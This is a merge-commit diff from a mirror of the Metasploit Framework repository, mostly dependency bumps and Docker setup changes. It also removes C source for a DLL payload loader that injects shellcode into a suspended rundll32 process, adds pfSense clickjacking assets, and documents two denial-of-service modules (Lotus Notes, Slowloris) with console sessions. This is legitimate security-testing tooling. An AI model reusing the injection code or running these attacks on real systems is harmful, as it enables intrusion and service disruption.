mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Merge branch 'upstream-master' into land-9151-
This commit is contained in:
commit
90b97d6581
@ -34,7 +34,7 @@ config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
coverage/
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
|
1
.gitignore
vendored
1
.gitignore
vendored
@ -88,6 +88,7 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# local docker compose overrides
|
||||
docker-compose.local*
|
||||
.env
|
||||
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
|
@ -25,7 +25,7 @@ matrix:
|
||||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
|
11
Dockerfile
11
Dockerfile
@ -1,14 +1,17 @@
|
||||
FROM ruby:2.4.2-alpine
|
||||
MAINTAINER Rapid7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV MSF_USER msf
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* m* Rakefile $APP_HOME
|
||||
COPY lib $APP_HOME/lib
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
@ -45,7 +48,7 @@ RUN apk update && \
|
||||
RUN adduser -g msfconsole -D $MSF_USER
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip /usr/bin/nmap
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
USER $MSF_USER
|
||||
|
||||
|
48
Gemfile.lock
48
Gemfile.lock
@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.14)
|
||||
metasploit-framework (4.16.24)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@ -17,9 +17,9 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.13)
|
||||
metasploit-payloads (= 1.3.19)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.2.5)
|
||||
metasploit_payloads-mettle (= 0.2.8)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
@ -112,7 +112,7 @@ GEM
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.2)
|
||||
crass (1.0.3)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
@ -127,28 +127,28 @@ GEM
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.4.1.1)
|
||||
googleapis-common-protos-types (1.0.0)
|
||||
google-protobuf (3.5.0)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.5.3)
|
||||
googleauth (0.6.2)
|
||||
faraday (~> 0.12)
|
||||
jwt (~> 1.4)
|
||||
jwt (>= 1.4, < 3.0)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.7.0)
|
||||
grpc (1.7.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (~> 0.5.1)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.0)
|
||||
i18n (0.9.1)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (1.5.6)
|
||||
jwt (2.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
@ -178,7 +178,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.13)
|
||||
metasploit-payloads (1.3.19)
|
||||
metasploit_data_models (2.0.15)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@ -189,11 +189,11 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.2.5)
|
||||
metasploit_payloads-mettle (0.2.8)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.10.3)
|
||||
msgpack (1.1.0)
|
||||
msgpack (1.2.0)
|
||||
multi_json (1.12.2)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
@ -223,10 +223,10 @@ GEM
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.2)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.0)
|
||||
public_suffix (3.0.1)
|
||||
rack (1.6.8)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
@ -243,13 +243,13 @@ GEM
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.2.1)
|
||||
rake (12.3.0)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
rbnacl-libsodium (1.0.13)
|
||||
rbnacl-libsodium (1.0.16)
|
||||
rbnacl (>= 3.0.1)
|
||||
recog (2.1.16)
|
||||
recog (2.1.17)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
@ -265,7 +265,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.15)
|
||||
rex-exploitation (0.1.16)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@ -311,7 +311,7 @@ GEM
|
||||
rspec-mocks (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.1)
|
||||
rspec-rails (3.7.2)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
@ -357,7 +357,7 @@ GEM
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.9)
|
||||
yard (0.9.12)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@ -378,4 +378,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.15.4
|
||||
1.16.0
|
||||
|
@ -1,4 +1,4 @@
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
@ -1,15 +0,0 @@
|
||||
#!/bin/sh
|
||||
rm -f *.o *.dll
|
||||
|
||||
CCx86="i686-w64-mingw32"
|
||||
CCx64="x86_64-w64-mingw32"
|
||||
|
||||
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
||||
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
||||
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
|
||||
rm -f temp.dll *.o
|
||||
|
||||
${CCx86}-gcc -c -Os template.c -Wall -shared
|
||||
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
||||
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
|
||||
rm -f temp.dll *.o
|
@ -1,95 +0,0 @@
|
||||
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
|
||||
// - removed ExitThread(0) to prevent an Explorer crash
|
||||
// - added Mutex to prevent invoking payload multiple times (at least try)
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void)
|
||||
{
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
LPVOID ep;
|
||||
HANDLE hMutex;
|
||||
SECURITY_ATTRIBUTES MutexAttributes;
|
||||
|
||||
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
|
||||
MutexAttributes.nLength = sizeof(MutexAttributes);
|
||||
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
||||
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
|
||||
if(hMutex == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if(GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
CloseHandle(hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
if(GetLastError() == ERROR_ACCESS_DENIED)
|
||||
{
|
||||
CloseHandle(hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, resume it
|
||||
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread, &ctx);
|
||||
ResumeThread(pi.hThread);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
CloseHandle(hMutex);
|
||||
}
|
||||
|
@ -1,3 +0,0 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
BIN
data/exploits/cve-2017-8464/template_x64_windows.dll
Executable file → Normal file
BIN
data/exploits/cve-2017-8464/template_x64_windows.dll
Executable file → Normal file
Binary file not shown.
BIN
data/exploits/cve-2017-8464/template_x86_windows.dll
Executable file → Normal file
BIN
data/exploits/cve-2017-8464/template_x86_windows.dll
Executable file → Normal file
Binary file not shown.
BIN
data/exploits/pfsense_clickjacking/background.jpg
Normal file
BIN
data/exploits/pfsense_clickjacking/background.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.4 MiB |
6
data/exploits/pfsense_clickjacking/cookieconsent.min.css
vendored
Normal file
6
data/exploits/pfsense_clickjacking/cookieconsent.min.css
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
.cc-window{opacity:1;transition:opacity 1s ease}.cc-window.cc-invisible{opacity:0}.cc-animate.cc-revoke{transition:transform 1s ease}.cc-animate.cc-revoke.cc-top{transform:translateY(-2em)}.cc-animate.cc-revoke.cc-bottom{transform:translateY(2em)}.cc-animate.cc-revoke.cc-active.cc-bottom,.cc-animate.cc-revoke.cc-active.cc-top,.cc-revoke:hover{transform:translateY(0)}.cc-grower{max-height:0;overflow:hidden;transition:max-height 1s}
|
||||
.cc-link,.cc-revoke:hover{text-decoration:underline}.cc-revoke,.cc-window{position:fixed;overflow:hidden;box-sizing:border-box;font-family:Helvetica,Calibri,Arial,sans-serif;font-size:16px;line-height:1.5em;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;z-index:9999}.cc-window.cc-static{position:static}.cc-window.cc-floating{padding:2em;max-width:24em;-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner{padding:1em 1.8em;width:100%;-ms-flex-direction:row;flex-direction:row}.cc-revoke{padding:.5em}.cc-header{font-size:18px;font-weight:700}.cc-btn,.cc-close,.cc-link,.cc-revoke{cursor:pointer}.cc-link{opacity:.8;display:inline-block;padding:.2em}.cc-link:hover{opacity:1}.cc-link:active,.cc-link:visited{color:initial}.cc-btn{display:block;padding:.4em .8em;font-size:.9em;font-weight:700;border-width:2px;border-style:solid;text-align:center;white-space:nowrap}.cc-banner .cc-btn:last-child{min-width:140px}.cc-highlight .cc-btn:first-child{background-color:transparent;border-color:transparent}.cc-highlight .cc-btn:first-child:focus,.cc-highlight .cc-btn:first-child:hover{background-color:transparent;text-decoration:underline}.cc-close{display:block;position:absolute;top:.5em;right:.5em;font-size:1.6em;opacity:.9;line-height:.75}.cc-close:focus,.cc-close:hover{opacity:1}
|
||||
.cc-revoke.cc-top{top:0;left:3em;border-bottom-left-radius:.5em;border-bottom-right-radius:.5em}.cc-revoke.cc-bottom{bottom:0;left:3em;border-top-left-radius:.5em;border-top-right-radius:.5em}.cc-revoke.cc-left{left:3em;right:unset}.cc-revoke.cc-right{right:3em;left:unset}.cc-top{top:1em}.cc-left{left:1em}.cc-right{right:1em}.cc-bottom{bottom:1em}.cc-floating>.cc-link{margin-bottom:1em}.cc-floating .cc-message{display:block;margin-bottom:1em}.cc-window.cc-floating .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-banner{-ms-flex-align:center;align-items:center}.cc-banner.cc-top{left:0;right:0;top:0}.cc-banner.cc-bottom{left:0;right:0;bottom:0}.cc-banner .cc-message{-ms-flex:1;flex:1}.cc-compliance{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-line-pack:justify;align-content:space-between}.cc-compliance>.cc-btn{-ms-flex:1;flex:1}.cc-btn+.cc-btn{margin-left:.5em}
|
||||
@media print{.cc-revoke,.cc-window{display:none}}@media screen and (max-width:900px){.cc-btn{white-space:normal}}@media screen and (max-width:414px) and (orientation:portrait),screen and (max-width:736px) and (orientation:landscape){.cc-window.cc-top{top:0}.cc-window.cc-bottom{bottom:0}.cc-window.cc-banner,.cc-window.cc-left,.cc-window.cc-right{left:0;right:0}.cc-window.cc-banner{-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-floating{max-width:none}.cc-window .cc-message{margin-bottom:1em}.cc-window.cc-banner{-ms-flex-align:unset;align-items:unset}}
|
||||
.cc-floating.cc-theme-classic{padding:1.2em;border-radius:5px}.cc-floating.cc-type-info.cc-theme-classic .cc-compliance{text-align:center;display:inline;-ms-flex:none;flex:none}.cc-theme-classic .cc-btn{border-radius:5px}.cc-theme-classic .cc-btn:last-child{min-width:140px}.cc-floating.cc-type-info.cc-theme-classic .cc-btn{display:inline-block}
|
||||
.cc-theme-edgeless.cc-window{padding:0}.cc-floating.cc-theme-edgeless .cc-message{margin:2em 2em 1.5em}.cc-banner.cc-theme-edgeless .cc-btn{margin:0;padding:.8em 1.8em;height:100%}.cc-banner.cc-theme-edgeless .cc-message{margin-left:1em}.cc-floating.cc-theme-edgeless .cc-btn+.cc-btn{margin-left:0}
|
1
data/exploits/pfsense_clickjacking/cookieconsent.min.js
vendored
Normal file
1
data/exploits/pfsense_clickjacking/cookieconsent.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
@ -1,13 +1,14 @@
|
||||
version: '2'
|
||||
version: '3'
|
||||
|
||||
services:
|
||||
ms:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: ./Dockerfile
|
||||
args:
|
||||
BUNDLER_ARGS: --jobs=8
|
||||
image: metasploit:dev
|
||||
environment:
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf_dev
|
||||
|
||||
volumes:
|
||||
- .:/usr/src/metasploit-framework
|
@ -1,10 +1,7 @@
|
||||
version: '2'
|
||||
version: '3'
|
||||
services:
|
||||
ms:
|
||||
image: metasploit
|
||||
build:
|
||||
context: .
|
||||
dockerfile: ./Dockerfile
|
||||
image: metasploitframework/metasploit-framework:latest
|
||||
environment:
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf
|
||||
links:
|
||||
@ -16,7 +13,7 @@ services:
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
|
||||
db:
|
||||
image: postgres:9-alpine
|
||||
image: postgres:10-alpine
|
||||
volumes:
|
||||
- pg_data:/var/lib/postgresql/data
|
||||
|
||||
|
@ -3,43 +3,36 @@
|
||||
|
||||
To run `msfconsole`
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --service-ports ms
|
||||
```
|
||||
or
|
||||
```bash
|
||||
./docker/bin/msfconsole
|
||||
```
|
||||
|
||||
To run `msfvenom`
|
||||
```bash
|
||||
docker-compose run --rm ms ./msfvenom
|
||||
docker-compose build
|
||||
docker-compose run --rm --no-deps ms ./msfvenom
|
||||
```
|
||||
|
||||
### I don't like typing `docker-compose --rm ...`
|
||||
|
||||
We have included some binstubs `./bin`, you can symlink them to your path.
|
||||
|
||||
Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root:
|
||||
|
||||
or
|
||||
```bash
|
||||
ln -s `pwd`/docker/bin/msfconsole $HOME/bin/
|
||||
ln -s `pwd`/docker/bin/msfvenom $HOME/bin/
|
||||
./docker/bin/msfvenom
|
||||
```
|
||||
|
||||
If you set the environment variable `MSF_BUILD` the container will be rebuilt.
|
||||
|
||||
```bash
|
||||
MSF_BUILD=1 ./docker/bin/msfconsole
|
||||
MSF_BUILD=1 ./docker/bin/msfconsole-dev
|
||||
```
|
||||
You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
|
||||
|
||||
### But I want reverse shells...
|
||||
|
||||
By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip
|
||||
of your host machine.
|
||||
By default we expose port `4444`.
|
||||
|
||||
If you want to expose more ports, or have `LHOST` prepopulated with a specific
|
||||
value; you'll need to setup a local docker-compose override for this.
|
||||
|
||||
Create `docker/docker-compose.local.override.yml` with:
|
||||
Create `docker-compose.local.override.yml` with:
|
||||
```yml
|
||||
version: '2'
|
||||
version: '3'
|
||||
services:
|
||||
ms:
|
||||
environment:
|
||||
@ -56,19 +49,6 @@ Now you need to set the `COMPOSE_FILE` environment variable to load your local
|
||||
override.
|
||||
|
||||
```bash
|
||||
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env
|
||||
echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env
|
||||
```
|
||||
Now you should be able get reverse shells working
|
||||
|
||||
## Developing
|
||||
|
||||
To setup you environment for development, you need to add `docker/docker-compose.development.override.yml`
|
||||
to your `COMPOSE_FILE` environment variable.
|
||||
|
||||
If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this:
|
||||
|
||||
```bash
|
||||
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env
|
||||
```
|
||||
|
||||
Alternatively you can also use the `msfconsole-dev` binstub.
|
||||
|
@ -19,8 +19,12 @@ fi
|
||||
|
||||
cd $MSF_PATH
|
||||
|
||||
if [[ -n "$MSF_BUILD" ]]; then
|
||||
docker-compose -f $MSF_PATH/docker-compose.yml build
|
||||
PARAMS="$@"
|
||||
|
||||
if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||
echo "Rebuilding image"
|
||||
docker-compose build
|
||||
exit $?
|
||||
fi
|
||||
|
||||
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
|
||||
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
|
@ -1,27 +0,0 @@
|
||||
#! /bin/bash
|
||||
|
||||
if [[ -z "$MSF_PATH" ]]; then
|
||||
path=`dirname $0`
|
||||
|
||||
# check for ./docker/msfconsole.rc
|
||||
if [[ ! -f $path/../msfconsole.rc ]] ; then
|
||||
|
||||
# we are not inside the project
|
||||
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
|
||||
|
||||
# determine script path
|
||||
pushd $(dirname $(realpath $0)) > /dev/null
|
||||
path=$(pwd)
|
||||
popd > /dev/null
|
||||
fi
|
||||
MSF_PATH=$(dirname $(dirname $path))
|
||||
fi
|
||||
|
||||
cd $MSF_PATH
|
||||
|
||||
if [[ -n "$MSF_BUILD" ]]; then
|
||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
|
||||
fi
|
||||
|
||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
|
||||
|
@ -17,9 +17,15 @@ if [[ -z "$MSF_PATH" ]]; then
|
||||
MSF_PATH=$(dirname $(dirname $path))
|
||||
fi
|
||||
|
||||
if [[ -n "$MSF_BUILD" ]]; then
|
||||
docker-compose -f $MSF_PATH/docker-compose.yml build
|
||||
cd $MSF_PATH
|
||||
|
||||
PARAMS="$@"
|
||||
|
||||
if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||
echo "Rebuilding image"
|
||||
docker-compose build
|
||||
exit $?
|
||||
fi
|
||||
|
||||
cd $MSF_PATH
|
||||
docker-compose run --rm --service-ports ms ./msfvenom "$@"
|
||||
# we need no database here
|
||||
docker-compose run --rm --no-deps ms ./msfvenom "$PARAMS"
|
||||
|
@ -1,26 +0,0 @@
|
||||
#! /bin/bash
|
||||
|
||||
if [[ -z "$MSF_PATH" ]]; then
|
||||
path=`dirname $0`
|
||||
|
||||
# check for ./docker/msfconsole.rc
|
||||
if [[ ! -f $path/../msfconsole.rc ]] ; then
|
||||
|
||||
# we are not inside the project
|
||||
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
|
||||
|
||||
# determine script path
|
||||
pushd $(dirname $(realpath $0)) > /dev/null
|
||||
path=$(pwd)
|
||||
popd > /dev/null
|
||||
fi
|
||||
MSF_PATH=$(dirname $(dirname $path))
|
||||
fi
|
||||
|
||||
cd $MSF_PATH
|
||||
|
||||
if [[ -n "$MSF_BUILD" ]]; then
|
||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
|
||||
fi
|
||||
|
||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfvenom "$@"
|
67
documentation/modules/auxiliary/dos/http/ibm_lotus_notes2.md
Normal file
67
documentation/modules/auxiliary/dos/http/ibm_lotus_notes2.md
Normal file
@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a vulnerability in the built-in web-browser of IBM Lotus Notes client application.
|
||||
|
||||
If a user is persuaded to click on a malicious link, it would open up many file select dialog boxes which,
|
||||
would cause the client hang and have to be restarted.
|
||||
|
||||
Affected Products and Versions
|
||||
|
||||
IBM Notes 9.0.1 to 9.0.1 FP8 IF1
|
||||
IBM Notes 9.0 to 9.0 IF4.
|
||||
IBM Notes 8.5.3 to 8.5.3 FP6 IF13.
|
||||
IBM Notes 8.5.2 to 8.5.2 FP4 IF3.
|
||||
IBM Notes 8.5.1. to 8.5.1 FP5 IF5.
|
||||
IBM Notes 8.5 release
|
||||
|
||||
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
|
||||
|
||||
## Verification
|
||||
|
||||
Start msfconsole
|
||||
|
||||
`use auxiliary/dos/http/ibm_lotus_notes2.rb`
|
||||
|
||||
Set `SRVHOST`
|
||||
|
||||
Set `SRVPORT`
|
||||
|
||||
run (Server started)
|
||||
Visit server URL in the built-in web-browser of IBM Notes client application
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/dos/http/ibm_lotus_notes2
|
||||
msf auxiliary(ibm_lotus_notes2) > show options
|
||||
|
||||
Module options (auxiliary/dos/http/ibm_lotus_notes2):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
WebServer
|
||||
|
||||
|
||||
msf auxiliary(ibm_lotus_notes2) > set SRVHOST 192.168.0.50
|
||||
SRVHOST => 192.168.0.50
|
||||
msf auxiliary(ibm_lotus_notes2) > set SRVPORT 9092
|
||||
SRVPORT => 9092
|
||||
msf auxiliary(ibm_lotus_notes2) > run
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ibm_lotus_notes2) >
|
||||
[*] Using URL: http://192.168.0.50:9092/mypath
|
||||
[*] Server started.
|
||||
msf auxiliary(ibm_lotus_notes2) >
|
||||
```
|
||||
|
||||
At this point, the target should use the built-in web browser of their IBM Lotus Notes client to navigate to the above "Using URL" value. And then they should see their Notes app become unresponsive.
|
47
documentation/modules/auxiliary/dos/http/slowloris.md
Normal file
47
documentation/modules/auxiliary/dos/http/slowloris.md
Normal file
@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module tries to keep many connections to the target web server open and hold them open as long as possible.
|
||||
|
||||
To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
|
||||
|
||||
Vulnerable application versions include:
|
||||
|
||||
- Apache HTTP Server 1.x and 2.x
|
||||
- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/dos/http/slowloris`
|
||||
3. Do: `set RHOST`
|
||||
4. Do: `run`
|
||||
5. Visit server URL in your web-browser.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache/2.2.8 - Ubuntu 8.04
|
||||
|
||||
```
|
||||
msf > use auxiliary/dos/http/slowloris
|
||||
msf auxiliary(slowloris) > show options
|
||||
|
||||
Module options (auxiliary/dos/http/slowloris):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
delay 15 yes The delay between sending keep-alive headers
|
||||
rand_user_agent true yes Randomizes user-agent with each request
|
||||
rhost 172.28.128.4 yes The target address
|
||||
rport 80 yes The target port
|
||||
sockets 150 yes The number of sockets to use in the attack
|
||||
ssl false yes Negotiate SSL/TLS for outgoing connections
|
||||
|
||||
